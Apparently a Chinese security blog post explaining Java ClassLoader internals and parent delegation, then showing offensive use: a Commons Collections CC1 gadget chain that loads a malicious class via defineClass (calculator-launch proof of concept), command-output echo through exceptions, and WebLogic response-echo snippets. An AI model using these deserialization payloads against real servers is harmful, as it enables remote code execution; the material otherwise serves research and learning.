简介

ClassLoader

人工编写的.java的源代码文件,经过javac编译后变成.class字节码文件,JVM将.class字节码文件载入运行,其中ClassLoader就是用来加载.class字节码文件。

image-20201126162839286

可以通过多重方式给ClassLoader提供字节码文件,包括本地磁盘、远程服务器。字节码的本质就是一个字节数组[]byte,它有特定的复杂的内部格式。

延迟加载

JVM 运行的时候不是一次性把所有的类全部加载进来,它是按需加载(延迟加载)。程序在运行的时候会遇到一些新的类,在这个时候程序就会调用Classloader来加载这些类。加载完成将Class对象存放在Classloader中,下次再遇到这些类的时候就不需要重新加载进来了。

JVM ClassLoader

JVM 运行实例中会存在多个ClassLoader,不同的ClassLoader会从不同的地方加载字节码文件。

JVM 中内置了三个重要的ClassLoader,分别是 :

  • BootstrapClassLoader,负责加载JVM运行时核心类,这些类位于JAVA_HOME/lib/rt.jar文件中,包含常用内置库,比如 java.util.*java.io.*java.nio.*java.lang.*等。

  • ExtensionClassLoader,负责加载标准核心Java类的扩展,比如swing系列、内置的js引擎、xml解析器 等等,这些库名通常以javax开头,它们的jar包位于JAVA_HOME/lib/ext/*.jar中。

  • AppClassLoader,直接面向开发者的加载器,用于加载应用级别的类到JVM,它会加载Classpath环境变量里定义的路径中的jar包和目录。开发者编写的代码以及使用的第三方jar包通常都是由它来加载。

相关方法

ClassLoader中与加载类相关的方法:

方法 说明
getParent() 返回该类加载器的父类加载器。
loadClass(String name) 加载名称为 name 的类,返回的结果是 java.lang.Class 类的实例。
findClass(String name) 查找名称为 name 的类,返回的结果是 java.lang.Class 类的实例。
findLoadedClass(String name) 查找名称为 name 的已经被加载过的类,返回的结果是 java.lang.Class 类的实例。
defineClass(String name, byte[] b, int off, int len) 把字节数组 b 中的内容转换成 Java 类,返回的结果是 java.lang.Class 类的实例。这个方法被声明为 final 的。
resolveClass(Class<?> c) 链接指定的 Java 类。

双亲委派

如果遇到范围之外的类库,AppClassLoader必须将系统类库的加载工作交给BootstrapClassLoaderExtensionClassLoader来做,这就是双亲委派。

AppClassLoader在加载时,并不立刻工作去搜寻Classpath,会首先将任务交给 ExtensionClassLoader加载。如果ExtensionClassLoader加载失败,AppClassLoader才会搜索Classpath

ExtensionClassLoader在加载时,也并不立刻工作去搜寻ext路径,会首先将类名称交给BootstrapClassLoader来加载。如果BootstrapClassLoader加载失败,ExtensionClassLoader才会搜索 ext 路径。

image-20201126171824220

这三个ClassLoader之间形成了级联的父子关系,每个ClassLoader都很懒,尽量把工作交给父亲做,因此类库的加载顺序实际上是自上而下的。

每个类对象有可以通过getClassLoader()获取自己ClassLoader。

每个ClassLoader对象内部都会有一个parent属性指向它的父加载器,ClassLoader可以通过getParent()获取其父ClassLoader,如果获取到ClassLoadernull的话,那么该类是通过BootstrapClassLoader加载的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class LoaderTest {
public static void main(String[] args) {

ClassLoader classLoader = LoaderTest.class.getClassLoader();

StringBuilder split = new StringBuilder("--");
boolean needContinue = true;
while (needContinue) {
System.out.println(split.toString() + classLoader);
if (classLoader == null) {
needContinue = false;
} else {
classLoader = classLoader.getParent();
split.insert(0, "\t");
}
}
}
}

运行结果:

1
2
3
--sun.misc.Launcher$AppClassLoader@7f31245a
--sun.misc.Launcher$ExtClassLoader@45ee12a7
--null

最后的null其实就是BootstrapClassLoader,符合前面的父子层级关系。

查看loadClass的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
//
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();
try {
// 如果有父类加载器,先委派给父类加载器来加载
if (parent != null) {
c = parent.loadClass(name, false);
} else {
// 如果父类加载器为null,说明ExtClassLoader也没有找到目标类,则调用BootstrapClassLoader来查找
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
// 如果都没有找到,调用findClass方法,尝试自己加载这个类
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
long t1 = System.nanoTime();
c = findClass(name);

// this is the defining class loader; record the stats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}

双亲委派的思路非常清晰,当父类加载器没有加载过目标类时,AppClassLoader会尝试自己加载目标类,调用了findClass方法,查看该方法实现:

1
2
3
4
5
6
protected Class findClass(String var1) throws ClassNotFoundException {
// 从指定路径加载指定名称的class的字节数组
byte[] var2 = this.loadClassData(var1);
// 通过ClassLoader的defineClass来创建class对象实例
return this.defineClass(var1, var2, 0, var2.length);
}

自定义加载器

待加载的class的java源文件:

1
2
3
4
5
6
7
public class RMITEST {

public void show() {
System.out.println("show test!");
}

}

接着编译成javac编译成class文件。

自定义加载器需要继承ClassLoader类,然后重写findClass方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package RMI;


import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class TestLoad extends ClassLoader {
public static byte[] getFileByte(String filePath) throws IOException {
File file = new File(filePath);
long fileSize = file.length();
if (fileSize > Integer.MAX_VALUE) {
System.out.println("file too big...");
return null;
}

FileInputStream fi = new FileInputStream(file);
byte[] buffer = new byte[(int) fileSize];
int offset = 0;
int numRead = 0;
while (offset < buffer.length
&& (numRead = fi.read(buffer, offset, buffer.length - offset)) >= 0
) {
offset += numRead;
}

if (offset != buffer.length) {
throw new IOException("Could not completely read file "
+ file.getName());
}
fi.close();
return buffer;
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {

System.out.println(name);
String Path = "/Users/rai4over/RMITEST.class";
System.out.println(Path);

byte[] ClassBytes = new byte[0];
try {
ClassBytes = getFileByte(Path);
} catch (IOException e) {
e.printStackTrace();
}


Class clazz = defineClass(name, ClassBytes, 0, ClassBytes.length);
return clazz;
}
}

getFileByte获取class文件字节数组,然后传入defineClass加载。

查看class文件的类名称:

1
javap -p -l -c RMITEST.class

结果为:

1
2
3
4
5
6
7
Compiled from "RMITEST.java"
public class RMI.RMITEST {
public RMI.RMITEST();
public static void main(java.lang.String[]) throws java.lang.Exception;
public void start() throws java.lang.Exception;
static {};
}

得到完整的类名称为RMI.RMITESTmain方法中创建自定义ClassLoad对象

1
2
3
4
5
6
7
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
TestLoad loader = new TestLoad();
Class<?> Class = loader.findClass("RMI.RMITEST");
Object obj = Class.newInstance();
Method method = Class.getMethod("show");
method.invoke(obj);
}

然后调用重写的findClass函数载入并获取目标类,接着利用反射创建目标对象并调用start方法。

CommonsCollections1

可以在CommonsCollections1中使用ClassLoader进行攻击。

恶意的java文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package ysoserial.payloads;

import java.io.IOException;

public class Test {
static {
try {
Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
System.out.println("static init show test!");
}

}

static块中编写恶意代码,对象实例化时自动执行。

这里使用最常见的CC1链结合defineClass载入字节码文件,改造后的Payload如下:

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class}, new Object[]{"ysoserial.payloads.Test", getFileByte("/Users/rai4over/Desktop/ysoserial/target/classes/ysoserial/payloads/Test.class")}),
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
new ConstantTransformer(1)
};

throw Exception

执行系统命令,然后将结果作为异常信息抛出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class URLClassLoaderTest {
public static void main(String[] args) throws Exception {
//InputStream stream = (new ProcessBuilder("whoami")).start().getInputStream();
InputStream stream = (new ProcessBuilder("whoami")).start().getInputStream();
InputStreamReader streamReader = new InputStreamReader(stream, Charset.forName("gbk"));
BufferedReader bufferedReader = new BufferedReader(streamReader);
StringBuffer buffer = new StringBuffer();
String line = null;

while ((line = bufferedReader.readLine()) != null) {
buffer.append(line).append("\n");
}

throw new Exception(buffer.toString());
}
}

可以将该功能代码直接通过CC1完成。

RMI

Thread Context

weblogic10.3.6

1
2
3
4
5
6
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd));
outputStream.flush();
response.getWriter().write("");

weblogic12.1.3

1
2
3
4
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork());
httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));

写文件

DNSLOG

参考

https://zhuanlan.zhihu.com/p/51374915

https://jjlu521016.github.io/2018/12/05/java/%E6%B5%85%E5%85%A5Java-ClassLoader.html

https://developer.ibm.com/zh/languages/java/articles/j-lo-classloader/